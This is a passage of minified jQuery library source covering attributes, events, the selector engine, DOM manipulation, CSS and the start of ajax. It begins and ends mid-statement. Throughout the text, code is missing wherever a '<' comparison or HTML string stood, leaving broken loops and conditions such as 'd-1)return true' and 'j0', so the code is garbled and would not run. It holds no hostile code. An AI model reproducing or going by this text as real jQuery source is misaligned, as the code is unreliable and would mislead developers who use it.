this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var Aa=/[\n\t]/g,ca=/\s+/,Za=/\r/g,$a=/href|src|style/,ab=/(button|input)/i,bb=/(button|input|object|select|textarea)/i,cb=/^(a|area)$/i,Ba=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(n){var r=c(this);r.addClass(a.call(this,n,r.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d-1)return true;return false},val:function(a){if(a===w){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var j=b?d:0;for(d=b?d+1:e.length;j=0;else if(c.nodeName(this,"select")){var u=c.makeArray(r);c("option",this).each(function(){this.selected=c.inArray(c(this).val(),u)>=0});if(!u.length)this.selectedIndex=-1}else this.value=r}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return w;if(f&&b in c.attrFn)return c(a)[b](d);f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==w;b=f&&c.props[b]||b;if(a.nodeType===1){var j=$a.test(b);if(b in a&&f&&!j){if(e){b==="type"&&ab.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:bb.test(a.nodeName)||cb.test(a.nodeName)&&a.href?0:w;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&j?a.getAttribute(b,2):a.getAttribute(b);return a===null?w:a}return c.style(a,b,d)}});var O=/\.(.*)$/,db=function(a){return a.replace(/[^\w\s\.\|`]/g,function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==A&&!a.frameElement)a=A;var e,j;if(d.handler){e=d;d=e.handler}if(!d.guid)d.guid=c.guid++;if(j=c.data(a)){var i=j.events=j.events||{},o=j.handle;if(!o)j.handle=o=function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(o.elem,arguments):w};o.elem=a;b=b.split(" ");for(var k,n=0,r;k=b[n++];){j=e?c.extend({},e):{handler:d,data:f};if(k.indexOf(".")>-1){r=k.split(".");k=r.shift();j.namespace=r.slice(0).sort().join(".")}else{r=[];j.namespace=""}j.type=k;j.guid=d.guid;var u=i[k],z=c.event.special[k]||{};if(!u){u=i[k]=[];if(!z.setup||z.setup.call(a,f,r,o)===false)if(a.addEventListener)a.addEventListener(k,o,false);else a.attachEvent&&a.attachEvent("on"+k,o)}if(z.add){z.add.call(a,j);if(!j.handler.guid)j.handler.guid=d.guid}u.push(j);c.event.global[k]=true}a=null}}},global:{},remove:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){var e,j=0,i,o,k,n,r,u,z=c.data(a),C=z&&z.events;if(z&&C){if(b&&b.type){d=b.handler;b=b.type}if(!b||typeof b==="string"&&b.charAt(0)==="."){b=b||"";for(e in C)c.event.remove(a,e+b)}else{for(b=b.split(" ");e=b[j++];){n=e;i=e.indexOf(".")<0;o=[];if(!i){o=e.split(".");e=o.shift();k=new RegExp("(^|\\.)"+c.map(o.slice(0).sort(),db).join("\\.(?:.*\\.)?")+"(\\.|$)")}if(r=C[e])if(d){n=c.event.special[e]||{};for(B=f||0;B=0){a.type=e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();c.event.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return w;a.result=w;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(j){}if(!a.isPropagationStopped()&&f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){f=a.target;var i,o=c.nodeName(f,"a")&&e==="click",k=c.event.special[e]||{};if((!k._default||k._default.call(d,a)===false)&&!o&&!(f&&f.nodeName&&c.noData[f.nodeName.toLowerCase()])){try{if(f[e]){if(i=f["on"+e])f["on"+e]=null;c.event.triggered=true;f[e]()}}catch(n){}if(i)f["on"+e]=i;c.event.triggered=false}}},handle:function(a){var b,d,f,e;a=arguments[0]=c.event.fix(a||A.event);a.currentTarget=this;b=a.type.indexOf(".")<0&&!a.exclusive;if(!b){d=a.type.split(".");a.type=d.shift();f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)")}e=c.data(this,"events");d=e[a.type];if(e&&d){d=d.slice(0);e=0;for(var j=d.length;e-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d},fa=function(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Fa(d);if(a.type!=="focusout"||d.type!=="radio")c.data(d,"_change_data",e);if(!(f===w||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}};c.event.special.change={filters:{focusout:fa,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return fa.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return fa.call(this,a)},beforeactivate:function(a){a=a.target;c.data(a,"_change_data",Fa(a))}},setup:function(){if(this.type==="file")return false;for(var a in ea)c.event.add(this,a+".specialChange",ea[a]);return da.test(this.nodeName)},teardown:function(){c.event.remove(this,".specialChange");return da.test(this.nodeName)}};ea=c.event.special.change.filters}s.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,f)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var j in d)this[b](j,f,d[j],e);return this}if(c.isFunction(f)){e=f;f=w}var i=b==="one"?c.proxy(e,function(k){c(this).unbind(k,i);return e.apply(this,arguments)}):e;if(d==="unload"&&b!=="one")this.one(d,f,e);else{j=0;for(var o=this.length;j0){y=t;break}}t=t[g]}m[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,j=Object.prototype.toString,i=false,o=true;[0,0].sort(function(){o=false;return 0});var k=function(g,h,l,m){l=l||[];var q=h=h||s;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||typeof g!=="string")return l;for(var p=[],v,t,y,S,H=true,M=x(h),I=g;(f.exec(""),v=f.exec(I))!==null;){I=v[3];p.push(v[1]);if(v[2]){S=v[3];break}}if(p.length>1&&r.exec(g))if(p.length===2&&n.relative[p[0]])t=ga(p[0]+p[1],h);else for(t=n.relative[p[0]]?[h]:k(p.shift(),h);p.length;){g=p.shift();if(n.relative[g])g+=p.shift();t=ga(g,t)}else{if(!m&&p.length>1&&h.nodeType===9&&!M&&n.match.ID.test(p[0])&&!n.match.ID.test(p[p.length-1])){v=k.find(p.shift(),h,M);h=v.expr?k.filter(v.expr,v.set)[0]:v.set[0]}if(h){v=m?{expr:p.pop(),set:z(m)}:k.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=v.expr?k.filter(v.expr,v.set):v.set;if(p.length>0)y=z(t);else H=false;for(;p.length;){var D=p.pop();v=D;if(n.relative[D])v=p.pop();else D="";if(v==null)v=h;n.relative[D](y,v,M)}}else y=[]}y||(y=t);y||k.error(D||g);if(j.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))l.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&y[g].nodeType===1&&l.push(t[g]);else l.push.apply(l,y);else z(y,l);if(S){k(S,q,l,m);k.uniqueSort(l)}return l};k.uniqueSort=function(g){if(B){i=o;g.sort(B);if(i)for(var h=1;h":function(g,h){var l=typeof h==="string";if(l&&!/\W/.test(h)){h=h.toLowerCase();for(var m=0,q=g.length;m=0))l||m.push(v);else if(l)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,l,m,q,p){h=g[1].replace(/\\/g,"");if(!p&&n.attrMap[h])g[1]=n.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,l,m,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=k(g[3],null,null,h);else{g=k.filter(g[3],h,l,true^q);l||m.push.apply(m,g);return false}else if(n.match.POS.test(g[0])||n.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,l){return!!k(l[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,h){return h===0},last:function(g,h,l,m){return h===m.length-1},even:function(g,h){return h%2===0},odd:function(g,h){return h%2===1},lt:function(g,h,l){return hl[3]-0},nth:function(g,h,l){return l[3]-0===h},eq:function(g,h,l){return l[3]-0===h}},filter:{PSEUDO:function(g,h,l,m){var q=h[1],p=n.filters[q];if(p)return p(g,l,h,m);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=h[3];l=0;for(m=h.length;l=0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var l=h[1];g=n.attrHandle[l]?n.attrHandle[l](g):g[l]!=null?g[l]:g.getAttribute(l);l=g+"";var m=h[2];h=h[4];return g==null?m==="!=":m==="="?l===h:m==="*="?l.indexOf(h)>=0:m==="~="?(" "+l+" ").indexOf(h)>=0:!h?l&&g!==false:m==="!="?l!==h:m==="^="?l.indexOf(h)===0:m==="$="?l.substr(l.length-h.length)===h:m==="|="?l===h||l.substr(0,h.length+1)===h+"-":false},POS:function(g,h,l,m){var q=n.setFilters[h[2]];if(q)return q(g,l,h,m)}}},r=n.match.POS;for(var u in n.match){n.match[u]=new RegExp(n.match[u].source+/(?![^\[]*\])(?![^\(]*\))/.source);n.leftMatch[u]=new RegExp(/(^(?:.|\r|\n)*?)/.source+n.match[u].source.replace(/\\(\d+)/g,function(g,h){return"\\"+(h-0+1)}))}var z=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};try{Array.prototype.slice.call(s.documentElement.childNodes,0)}catch(C){z=function(g,h){h=h||[];if(j.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var l=0,m=g.length;l";var l=s.documentElement;l.insertBefore(g,l.firstChild);if(s.getElementById(h)){n.find.ID=function(m,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(m[1]))?q.id===m[1]||typeof q.getAttributeNode!=="undefined"&&q.getAttributeNode("id").nodeValue===m[1]?[q]:w:[]};n.filter.ID=function(m,q){var p=typeof m.getAttributeNode!=="undefined"&&m.getAttributeNode("id");return m.nodeType===1&&p&&p.nodeValue===q}}l.removeChild(g);l=g=null})();(function(){var g=s.createElement("div");g.appendChild(s.createComment(""));if(g.getElementsByTagName("*").length>0)n.find.TAG=function(h,l){l=l.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var m=0;l[m];m++)l[m].nodeType===1&&h.push(l[m]);l=h}return l};g.innerHTML="";if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")n.attrHandle.href=function(h){return h.getAttribute("href",2)};g=null})();s.querySelectorAll&&function(){var g=k,h=s.createElement("div");h.innerHTML="

";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){k=function(m,q,p,v){q=q||s;if(!v&&q.nodeType===9&&!x(q))try{return z(q.querySelectorAll(m),p)}catch(t){}return g(m,q,p,v)};for(var l in g)k[l]=g[l];h=null}}();(function(){var g=s.createElement("div");g.innerHTML="
";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){n.order.splice(1,0,"CLASS");n.find.CLASS=function(h,l,m){if(typeof l.getElementsByClassName!=="undefined"&&!m)return l.getElementsByClassName(h[1])};g=null}}})();var E=s.compareDocumentPosition?function(g,h){return!!(g.compareDocumentPosition(h)&16)}:function(g,h){return g!==h&&(g.contains?g.contains(h):true)},x=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},ga=function(g,h){var l=[],m="",q;for(h=h.nodeType?[h]:h;q=n.match.PSEUDO.exec(g);){m+=q[0];g=g.replace(n.match.PSEUDO,"")}g=n.relative[g]?g+"*":g;q=0;for(var p=h.length;q=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f0)for(var j=d;j0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,j={},i;if(f&&a.length){e=0;for(var o=a.length;e-1:c(f).is(e)){d.push({selector:i,elem:f});delete j[i]}}f=f.parentNode}}return d}var k=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(n,r){for(;r&&r.ownerDocument&&r!==b;){if(k?k.index(r)>-1:c(r).is(a))return r;r=r.parentNode}return null})},index:function(a){if(!a||typeof a==="string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),a);return this.pushStack(qa(a[0])||qa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);eb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):e;if((this.length>1||gb.test(f))&&fb.test(a))e=e.reverse();return this.pushStack(e,a,R.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===w||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==b&&d.push(a);return d}});var Ja=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ka=/(<([\w:]+)[^>]*?)\/>/g,hb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,La=/<([\w:]+)/,ib=/"},F={option:[1,""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div
","
"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==w)return this.empty().append((this[0]&&this[0].ownerDocument||s).createTextNode(a));return c.text(this)},wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},remove:function(a,b){for(var d=0,f;(f=this[d])!=null;d++)if(!a||c.filter(a,[f]).length){if(!b&&f.nodeType===1){c.cleanData(f.getElementsByTagName("*"));c.cleanData([f])}f.parentNode&&f.parentNode.removeChild(f)}return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++)for(b.nodeType===1&&c.cleanData(b.getElementsByTagName("*"));b.firstChild;)b.removeChild(b.firstChild);return this},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Ja,"").replace(/=([^="'>\s]+\/)>/g,'="$1">').replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){ra(this,b);ra(this.find("*"),b.find("*"))}return b},html:function(a){if(a===w)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Ja,""):null;else if(typeof a==="string"&&!ta.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(La.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Ka,Ma);try{for(var b=0,d=this.length;b0||e.cacheable||this.length>1?k.cloneNode(true):k)}o.length&&c.each(o,Qa)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);var e=this.length===1&&this[0].parentNode;if(e&&e.nodeType===11&&e.childNodes.length===1&&d.length===1){d[b](this[0]);return this}else{e=0;for(var j=d.length;e0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),i);f=f.concat(i)}return this.pushStack(f,a,d.selector)}}});c.extend({clean:function(a,b,d,f){b=b||s;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||s;for(var e=[],j=0,i;(i=a[j])!=null;j++){if(typeof i==="number")i+="";if(i){if(typeof i==="string"&&!jb.test(i))i=b.createTextNode(i);else if(typeof i==="string"){i=i.replace(Ka,Ma);var o=(La.exec(i)||["",""])[1].toLowerCase(),k=F[o]||F._default,n=k[0],r=b.createElement("div");for(r.innerHTML=k[1]+i+k[2];n--;)r=r.lastChild;if(!c.support.tbody){n=ib.test(i);o=o==="table"&&!n?r.firstChild&&r.firstChild.childNodes:k[1]===""&&!n?r.childNodes:[];for(k=o.length-1;k>=0;--k)c.nodeName(o[k],"tbody")&&!o[k].childNodes.length&&o[k].parentNode.removeChild(o[k])}!c.support.leadingWhitespace&&V.test(i)&&r.insertBefore(b.createTextNode(V.exec(i)[0]),r.firstChild);i=r.childNodes}if(i.nodeType)e.push(i);else e=c.merge(e,i)}}if(d)for(j=0;e[j];j++)if(f&&c.nodeName(e[j],"script")&&(!e[j].type||e[j].type.toLowerCase()==="text/javascript"))f.push(e[j].parentNode?e[j].parentNode.removeChild(e[j]):e[j]);else{e[j].nodeType===1&&e.splice.apply(e,[j+1,0].concat(c.makeArray(e[j].getElementsByTagName("script"))));d.appendChild(e[j])}return e},cleanData:function(a){for(var b,d,f=c.cache,e=c.event.special,j=c.support.deleteExpando,i=0,o;(o=a[i])!=null;i++)if(d=o[c.expando]){b=f[d];if(b.events)for(var k in b.events)e[k]?c.event.remove(o,k):Ca(o,k,b.handle);if(j)delete o[c.expando];else o.removeAttribute&&o.removeAttribute(c.expando);delete f[d]}}});var kb=/z-?index|font-?weight|opacity|zoom|line-?height/i,Na=/alpha\([^)]*\)/,Oa=/opacity=([^)]*)/,ha=/float/i,ia=/-([a-z])/ig,lb=/([A-Z])/g,mb=/^-?\d+(?:px)?$/i,nb=/^-?\d/,ob={position:"absolute",visibility:"hidden",display:"block"},pb=["Left","Right"],qb=["Top","Bottom"],rb=s.defaultView&&s.defaultView.getComputedStyle,Pa=c.support.cssFloat?"cssFloat":"styleFloat",ja=function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===w)return c.curCSS(d,f);if(typeof e==="number"&&!kb.test(f))e+="px";c.style(d,f,e)})};c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return w;if((b==="width"||b==="height")&&parseFloat(d)<0)d=w;var f=a.style||a,e=d!==w;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter=Na.test(a)?a.replace(Na,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Oa.exec(f.filter)[1])/100+"":""}if(ha.test(b))b=Pa;b=b.replace(ia,ja);if(e)f[b]=d;return f[b]},css:function(a,b,d,f){if(b==="width"||b==="height"){var e,j=b==="width"?pb:qb;function i(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(j,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a,"border"+this+"Width",true))||0})}a.offsetWidth!==0?i():c.swap(a,ob,i);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&a.currentStyle){f=Oa.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ha.test(b))b=Pa;if(!d&&e&&e[b])f=e[b];else if(rb){if(ha.test(b))b="float";b=b.replace(lb,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ia,ja);f=a.currentStyle[b]||a.currentStyle[d];if(!mb.test(f)&&nb.test(f)){b=e.left;var j=a.runtimeStyle.left;a.runtimeStyle.left=a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=j}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var sb=J(),tb=//gi,ub=/select|textarea/i,vb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ka=/\?/,wb=/(\?|&)_=.*?(&|$)/,xb=/^(\w+:)?\/\/([^\/?#]+)/,yb=/%20/g,zb=c.fn.load;c.fn.extend({load:function(a,b,d){if(typeof a!=="string")return zb.call(this,a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=c.param(b,c.ajaxSettings.traditional);f="POST"}var j=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(i,o){if(o==="success"||o==="notmodified")j.html(e?c("
").append(i.responseText.replace(tb,"")).find(e):i.responseText);d&&j.each(d,[i.responseText,o,i])}});return this},serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||ub.test(this.nodeName)||vb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:A.XMLHttpRequest&&(A.location.protocol!=="file:"||!A.ActiveXObject)?function(){return new A.XMLHttpRequest}:function(){try{return new A.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&e.success.call(k,o,i,x);e.global&&f("ajaxSuccess",[x,e])}function d(){e.complete&&e.complete.call(k,x,i);e.global&&f("ajaxComplete",[x,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),j,i,o,k=a&&a.context||e,n=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(n==="GET")N.test(e.url)||(e.url+=(ka.test(e.url)?"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||N.test(e.url))){j=e.jsonpCallback||"jsonp"+sb++;if(e.data)e.data=(e.data+"").replace(N,"="+j+"$1");e.url=e.url.replace(N,"="+j+"$1");e.dataType="script";A[j]=A[j]||function(q){o=q;b();d();A[j]=w;try{delete A[j]}catch(p){}z&&z.removeChild(C)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache===false&&n==="GET"){var 